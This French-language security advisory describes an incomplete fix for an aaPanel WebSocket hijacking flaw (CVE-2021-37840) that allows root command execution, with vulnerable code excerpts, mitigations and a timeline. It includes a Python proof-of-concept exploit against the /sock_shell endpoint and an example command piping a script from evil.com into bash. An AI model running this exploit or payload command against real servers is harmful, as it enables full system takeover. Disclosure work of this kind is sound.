
aaPanel WebSocket CSRF Bypass menant à RCE (Correction incomplète pour CVE-2021-37840)
# aaPanel : Les fournisseurs ne corrigent pas toujours correctement les choses
Un correctif incomplet pour CVE-2021-37840 expose encore 3,6 millions de serveurs à une RCE root, 5 ans plus tard
**Découvert par :** EON Security
**CVE :** Attribution en attente
**CVSS :** 8.8 (Élevé) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
**Affecté :** Versions aaPanel 6.8.12 à 7.65.0 (toutes les versions depuis le correctif de 2021)
**Base installée :** Plus de 3,6 millions de serveurs
---
## La version courte
En 2021, une vulnérabilité de Cross-Site WebSocket Hijacking (CVE-2021-37840) a été divulguée dans aaPanel, un panneau de contrôle d'hébergement gratuit fonctionnant sur plus de 3,6 millions de serveurs. Le fournisseur a ajouté une vérification de jeton CSRF pour la "corriger".
**Le correctif était architecturalement erroné.**
Au lieu de rejeter les connexions WebSocket non authentifiées au niveau HTTP (renvoyant 401), le correctif laisse passer toutes les connexions (renvoie 101 Switching Protocols) et vérifie uniquement l'authentification à l'intérieur du gestionnaire — après que la WebSocket soit déjà établie. La vérification CSRF qu'ils ont ajoutée peut être contournée de plusieurs façons.
EON Security a découvert que, 5 ans plus tard, toutes les versions d'aaPanel sont encore vulnérables à la même classe d'attaque.
Ce n'est que le **10e CVE** jamais attribué à aaPanel en plus de 6 ans d'existence.
---
---
## Ce que cela signifie en termes simples
Si vous utilisez aaPanel, voici ce qu'un attaquant peut vous faire :
**Scénario 1 : Un admin clique sur un mauvais lien**
1. Quelqu'un de votre équipe clique sur un lien qu'il ne devrait pas (email, pub, message)
2. Cette page ouvre secrètement une connexion WebSocket vers votre aaPanel — votre navigateur inclut automatiquement votre cookie de connexion car vous êtes déjà connecté
3. aaPanel voit une session valide et laisse passer la connexion — l'auth est acceptée
4. L'attaquant envoie `curl http://evil.com/payload.sh | bash` — cette commande s'exécute en tant que **root** sur votre serveur
5. Votre serveur est désormais entièrement compromis : sites web volés, bases de données effacées, malwares servis à vos visiteurs
Un seul clic suffit. Un clic malencontreux et l'attaquant possède tout.
**Scénario 2 : Fuite d'une clé API**
1. Une clé API se retrouve là où elle ne devrait pas — dans un dépôt GitHub public, une sauvegarde de configuration, les notes d'un développeur
2. L'attaquant s'authentifie avec cette clé et ouvre une WebSocket vers aaPanel
3. La vérification CSRF voit "c'est une requête authentifiée par API" et **saute complètement la vérification** — c'est un contournement dur intégré dans le code
4. L'attaquant exécute des commandes en tant que root immédiatement
5. Pas de clic admin, pas d'avertissements, pas de journaux qui semblent anormaux — juste une compromission instantanée
C'est le problème le plus important. La protection CSRF ne s'applique pas du tout aux requêtes authentifiées par API. Elle a été conçue pour vérifier les connexions basées sur le navigateur, mais le chemin de code pour l'accès API la contourne complètement.
**Dans les deux cas, 3,6 millions de serveurs sont affectés. Toutes les versions depuis 2021.**
1. **Les 10 points de terminaison WebSocket acceptent les connexions avant de vérifier qui vous êtes** — renvoie HTTP 101 Switching Protocols avant de vérifier l'authentification
2. **La vérification CSRF a des conditions de contournement dures** — `g.api_request=True` (requêtes authentifiées par API) et `g.is_aes=True` (requêtes chiffrées AES) ignorent complètement la vérification
3. **Le point de terminaison `/sock_shell` exécute des commandes arbitraires** — `subprocess.Popen(cmd + " 2>&1", shell=True)`
4. **Le point de terminaison `/webssh` accepte des identifiants SSH fournis par l'attaquant** — connexion à n'importe quel hôte SSH
5. **S'exécute en tant que root** — compromission totale du serveur
---
## Détails de la vulnérabilité
### 1. Les points de terminaison WebSocket acceptent les connexions avant l'auth
Tous les points de terminaison WebSocket renvoient HTTP 101 Switching Protocols **avant** toute vérification d'authentification. La vérification d'auth `comm.local()` s'exécute à l'intérieur du gestionnaire, après que la mise à niveau WebSocket soit déjà terminée :
```python
@sockets.route('/sock_shell')
def sock_shell(ws):
comReturn = comm.local() # ← Vérification d'auth APRÈS le 101
if comReturn:
ws.send(str(comReturn))
return
```
Points de terminaison concernés :
- `/webssh` (proxy terminal SSH)
- `/sock_shell` (exécution directe de commandes)
- `/ws_panel` (gestion du panneau)
- `/ws_home` (tableau de bord)
- `/ws_project` (gestion de projet)
- `/ws_model` (gestion de modèle)
- `/workorder_client` (système de tickets)
- `/v2/*` variantes de tous les ci-dessus
### 2. Contournement de la vérification du jeton CSRF
La fonction `check_csrf_websocket()` est conçue pour empêcher le Cross-Site WebSocket Hijacking :
```python
def check_csrf_websocket(ws, args):
if g.is_aes: return True # ← Contournement : le mode AES ignore la vérification
if g.api_request: return True # ← Contournement : les requêtes API ignorent la vérification
if public.is_debug(): return True
is_success = True
if not 'x-http-token' in args:
is_success = False
if is_success:
if public.get_csrf_sess_html_token_value() != args['x-http-token']:
is_success = False
if not is_success:
ws.send('token error')
return False
return True
```
Deux conditions de contournement dures existent :
- **`g.api_request`** : Quand True (défini lors de l'authentification par clé API), la vérification CSRF est entièrement ignorée. Toute session WebSocket authentifiée par API contourne cette protection.
- **`g.is_aes`** : Quand True (défini lors des requêtes API chiffrées AES), la vérification CSRF est également ignorée.
La comparaison de token (`get_csrf_sess_html_token_value()`) renvoie `session.get('request_token_head', "")`. Dans les sessions où cette valeur n'est pas encore initialisée, un `x-http-token` vide passe la vérification.
### 3. Exécution de commandes via sock_shell
Le point de terminaison `/sock_shell` passe les chaînes fournies par l'attaquant directement à `subprocess.Popen` avec `shell=True` :
```python
def sock_recv(cmdstring, ws):
p = subprocess.Popen(cmdstring + " 2>&1",
close_fds=True,
shell=True, # ← Exécution de commande arbitraire
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
```
Chaque message reçu sur la WebSocket est exécuté comme une commande shell. La sortie est renvoyée en flux via WebSocket. Comme aaPanel s'exécute en tant que root, il s'agit d'une **compromission complète du système**.
### 4. Proxy SSH via webssh
Le point de terminaison `/webssh` accepte les paramètres de connexion SSH fournis par l'attaquant à partir du premier message WebSocket :
```python
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()
```
Si l'hôte est `127.0.0.1` ou `localhost`, le gestionnaire vérifie la base de données pour les identifiants sauvegardés, ou utilise ceux fournis par l'attaquant.
---
## Scénario d'attaque
La voie d'exploitation principale est le **CSWSH (Cross-Site WebSocket Hijacking)** nécessitant une interaction utilisateur :
1. L'administrateur a une session aaPanel active (connecté)
2. L'administrateur visite une page web malveillante
3. La page ouvre une WebSocket vers `wss://victim-panel:8888/sock_shell`
4. Le navigateur inclut automatiquement le cookie de session
5. `comm.local()` passe l'authentification (cookie de session valide)
6. L'attaquant envoie `{"x-http-token": ""}` ou exploite les voies de contournement API/AES
7. Si la vérification CSRF passe, les commandes peuvent être exécutées en tant que root
**Voie alternative via compromission de clé API :**
1. L'attaquant obtient une clé API aaPanel valide
2. Les requêtes authentifiées par API définissent `g.api_request = True`
3. La vérification CSRF est entièrement ignorée pour ces requêtes
4. Exécution directe de commandes via WebSocket sans interaction utilisateur
---
## Points de terminaison concernés
| Point de terminaison | Fonction | Impact |
|-----------------------|----------|--------|
| `/webssh` | Proxy terminal SSH | Connexion à des hôtes SSH arbitraires avec des identifiants d'attaquant |
| `/sock_shell` | Exécution directe de commandes | **RCE en tant que root** via des commandes shell |
| `/ws_panel` | Gestion du panneau | Accès aux données du panneau |
| `/ws_home` | Tableau de bord | Accès aux données du tableau de bord |
| `/ws_project` | Gestion de projet | Accès aux données du projet |
| `/ws_model` | Gestion de modèle | Accès aux données du modèle |
| `/workorder_client` | Système de tickets | Accès aux données des tickets |
| `/v2/*` | Toutes les variantes v2 | Idem ci-dessus |
---
## PoC
```python
import asyncio, json, ssl
import websockets
async def exploit(target, command):
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
async with websockets.connect(
f"wss://{target}/sock_shell", ssl=ssl_context
) as ws:
# Tentative de contournement CSRF avec jeton vide
await ws.send(json.dumps({"x-http-token": ""}))
resp = await asyncio.wait_for(ws.recv(), timeout=10)
if "token error" in resp:
# Vérification CSRF active — peut nécessiter un contournement par auth API
return None
# Exécution de commande
await ws.send(command)
return await asyncio.wait_for(ws.recv(), timeout=30)
```
PoC complet : [exploit.py](https://github.com/eonsecurity/aapanel-ws-bypass/blob/main/exploit.py)
---
## Détection
Utilisez le script [check.py](https://github.com/eonsecurity/aapanel-ws-bypass/blob/main/check.py) pour tester si une instance aaPanel a des points de terminaison WebSocket vulnérables :
```bash
python3 check.py https://target:8888
```
---
## Atténuation
1. **Vérifier l'authentification AVANT d'accepter les mises à niveau WebSocket** — renvoyer HTTP 401 au niveau de la poignée de main, pas après
2. **Supprimer les conditions de contournement dures** — `g.api_request` et `g.is_aes` ne devraient pas ignorer la protection CSRF
3. **Valider l'en-tête Origin** lors de la mise à niveau WebSocket — rejeter les origines non reconnues
4. **Désactiver sock_shell** si non requis — fournit une exécution directe de commandes root
5. **Restreindre l'accès réseau** à l'interface d'administration aaPanel
---
## Chronologie
| Date | Événement |
|------|-----------|
| 2021-08-02 | CVE-2021-37840 divulgué (CSWSH aaPanel) |
| 2021 | Le fournisseur ajoute `check_csrf_websocket()` comme correctif |
| 2026-06-23 | EON Security découvre que le correctif est incomplet |
| En attente | Attribution CVE |
| En attente | Divulgation publique |
---
## Références
- [CVE-2021-37840](https://nvd.nist.gov/vuln/detail/CVE-2021-37840) — CSWSH aaPanel original
- [CVE-2026-29859](https://nvd.nist.gov/vuln/detail/CVE-2026-29859) — Téléchargement arbitraire de fichier aaPanel (mars 2026)
- [GitHub aaPanel](https://github.com/aaPanel/aaPanel) — Dépôt officiel
- [EON Security](https://eonsecurity.co.za) — Découvreur
---
## Crédit
**Yadav** — EON Security
Site web : [https://eonsecurity.co.za](https://eonsecurity.co.za)
---
## Licence
Ce contenu est sous licence MIT. Le PoC est fourni uniquement à des fins éducatives et défensives.